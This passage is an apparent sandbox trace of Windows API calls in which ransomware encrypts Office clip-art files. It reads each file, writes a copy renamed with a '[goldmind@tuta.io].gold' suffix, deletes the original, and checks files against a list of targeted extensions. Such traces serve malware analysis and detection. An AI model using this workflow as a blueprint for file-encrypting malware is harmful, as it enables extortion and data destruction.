hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.744] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.744] SetEndOfFile (hFile=0x3b8) returned 1 [0113.744] CloseHandle (hObject=0x3b8) returned 1 [0113.744] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.744] SetEndOfFile (hFile=0x3f8) returned 1 [0113.746] CloseHandle (hObject=0x3f8) returned 1 [0113.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf")) returned 1 [0113.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.748] lstrlenW (lpString=".doc") returned 4 [0113.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.748] lstrlenW (lpString=".docx") returned 5 [0113.748] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0113.748] lstrlenW (lpString=".pdf") returned 4 [0113.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.748] lstrlenW (lpString=".xls") returned 4 [0113.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.748] lstrlenW (lpString=".xlsx") returned 5 [0113.748] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0113.748] lstrlenW (lpString=".ppt") returned 4 [0113.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.748] lstrlenW (lpString=".zip") returned 4 [0113.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.748] lstrlenW (lpString=".rar") returned 4 [0113.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.748] lstrlenW (lpString=".bz2") returned 4 [0113.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.748] lstrlenW (lpString=".7z") returned 3 [0113.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.748] lstrlenW (lpString=".dbf") returned 4 [0113.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.748] lstrlenW (lpString=".1cd") returned 4 [0113.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.748] lstrlenW (lpString=".jpg") returned 4 [0113.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.748] lstrlenW (lpString=".doc") returned 4 [0113.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.748] lstrlenW (lpString=".docx") returned 5 [0113.748] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0113.748] lstrlenW (lpString=".pdf") returned 4 [0113.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.749] lstrlenW (lpString=".xls") returned 4 [0113.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.749] lstrlenW (lpString=".xlsx") returned 5 [0113.749] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0113.749] lstrlenW (lpString=".ppt") returned 4 [0113.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.749] lstrlenW (lpString=".zip") returned 4 [0113.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.749] lstrlenW (lpString=".rar") returned 4 [0113.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.749] lstrlenW (lpString=".bz2") returned 4 [0113.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.749] lstrlenW (lpString=".7z") returned 3 [0113.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.749] lstrlenW (lpString=".dbf") returned 4 [0113.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.749] lstrlenW (lpString=".1cd") returned 4 [0113.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0113.749] lstrlenW (lpString=".jpg") returned 4 [0113.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.749] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.749] lstrlenW (lpString="J0187863.WMF") returned 12 [0113.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.750] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=10820) returned 1 [0113.750] CloseHandle (hObject=0x3f8) returned 1 [0113.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf")) returned 0x20 [0113.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.750] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.750] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.751] GetLastError () returned 0x0 [0113.751] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2a44, lpOverlapped=0x0) returned 1 [0113.753] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2a50, lpOverlapped=0x0) returned 1 [0113.754] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.754] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.822] SetEndOfFile (hFile=0x3b8) returned 1 [0113.822] CloseHandle (hObject=0x3b8) returned 1 [0113.822] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.822] SetEndOfFile (hFile=0x3f8) returned 1 [0113.824] CloseHandle (hObject=0x3f8) returned 1 [0113.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf")) returned 1 [0113.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.826] lstrlenW (lpString=".doc") returned 4 [0113.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString=".docx") returned 5 [0113.826] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0113.826] lstrlenW (lpString=".pdf") returned 4 [0113.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString=".xls") returned 4 [0113.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.826] lstrlenW (lpString=".xlsx") returned 5 [0113.826] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0113.826] lstrlenW (lpString=".ppt") returned 4 [0113.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.826] lstrlenW (lpString=".zip") returned 4 [0113.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.826] lstrlenW (lpString=".rar") returned 4 [0113.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString=".bz2") returned 4 [0113.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString=".7z") returned 3 [0113.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.826] lstrlenW (lpString=".dbf") returned 4 [0113.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.826] lstrlenW (lpString=".1cd") returned 4 [0113.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.826] lstrlenW (lpString=".jpg") returned 4 [0113.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.826] lstrlenW (lpString=".doc") returned 4 [0113.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString=".docx") returned 5 [0113.826] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0113.826] lstrlenW (lpString=".pdf") returned 4 [0113.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString=".xls") returned 4 [0113.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.826] lstrlenW (lpString=".xlsx") returned 5 [0113.826] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0113.826] lstrlenW (lpString=".ppt") returned 4 [0113.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.826] lstrlenW (lpString=".zip") returned 4 [0113.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.826] lstrlenW (lpString=".rar") returned 4 [0113.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.826] lstrlenW (lpString=".bz2") returned 4 [0113.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.827] lstrlenW (lpString=".7z") returned 3 [0113.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.827] lstrlenW (lpString=".dbf") returned 4 [0113.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.827] lstrlenW (lpString=".1cd") returned 4 [0113.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0113.827] lstrlenW (lpString=".jpg") returned 4 [0113.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.827] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.827] lstrlenW (lpString="J0188513.WMF") returned 12 [0113.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.831] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=12292) returned 1 [0113.831] CloseHandle (hObject=0x198) returned 1 [0113.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf")) returned 0x20 [0113.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.841] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.841] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.842] GetLastError () returned 0x0 [0113.842] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3004, lpOverlapped=0x0) returned 1 [0113.868] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3010, lpOverlapped=0x0) returned 1 [0113.869] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.869] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.869] SetEndOfFile (hFile=0x3b8) returned 1 [0113.869] CloseHandle (hObject=0x3b8) returned 1 [0113.869] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.869] SetEndOfFile (hFile=0x3f8) returned 1 [0113.871] CloseHandle (hObject=0x3f8) returned 1 [0113.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf")) returned 1 [0113.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.873] lstrlenW (lpString=".doc") returned 4 [0113.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.873] lstrlenW (lpString=".docx") returned 5 [0113.873] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0113.873] lstrlenW (lpString=".pdf") returned 4 [0113.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.873] lstrlenW (lpString=".xls") returned 4 [0113.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.873] lstrlenW (lpString=".xlsx") returned 5 [0113.873] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0113.873] lstrlenW (lpString=".ppt") returned 4 [0113.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.873] lstrlenW (lpString=".zip") returned 4 [0113.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.873] lstrlenW (lpString=".rar") returned 4 [0113.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.873] lstrlenW (lpString=".bz2") returned 4 [0113.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.873] lstrlenW (lpString=".7z") returned 3 [0113.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.873] lstrlenW (lpString=".dbf") returned 4 [0113.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.873] lstrlenW (lpString=".1cd") returned 4 [0113.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.873] lstrlenW (lpString=".jpg") returned 4 [0113.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.874] lstrlenW (lpString=".doc") returned 4 [0113.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.874] lstrlenW (lpString=".docx") returned 5 [0113.874] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0113.874] lstrlenW (lpString=".pdf") returned 4 [0113.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.874] lstrlenW (lpString=".xls") returned 4 [0113.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.874] lstrlenW (lpString=".xlsx") returned 5 [0113.874] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0113.874] lstrlenW (lpString=".ppt") returned 4 [0113.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.874] lstrlenW (lpString=".zip") returned 4 [0113.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.874] lstrlenW (lpString=".rar") returned 4 [0113.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.874] lstrlenW (lpString=".bz2") returned 4 [0113.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.874] lstrlenW (lpString=".7z") returned 3 [0113.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.874] lstrlenW (lpString=".dbf") returned 4 [0113.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.874] lstrlenW (lpString=".1cd") returned 4 [0113.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned 63 [0113.874] lstrlenW (lpString=".jpg") returned 4 [0113.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.874] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.874] lstrlenW (lpString="J0188679.WMF") returned 12 [0113.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.875] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=13162) returned 1 [0113.875] CloseHandle (hObject=0x3f8) returned 1 [0113.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf")) returned 0x20 [0113.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.876] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.876] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.877] GetLastError () returned 0x0 [0113.877] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x336a, lpOverlapped=0x0) returned 1 [0113.893] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3370, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3370, lpOverlapped=0x0) returned 1 [0113.894] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.894] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.894] SetEndOfFile (hFile=0x3b8) returned 1 [0113.895] CloseHandle (hObject=0x3b8) returned 1 [0113.895] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, 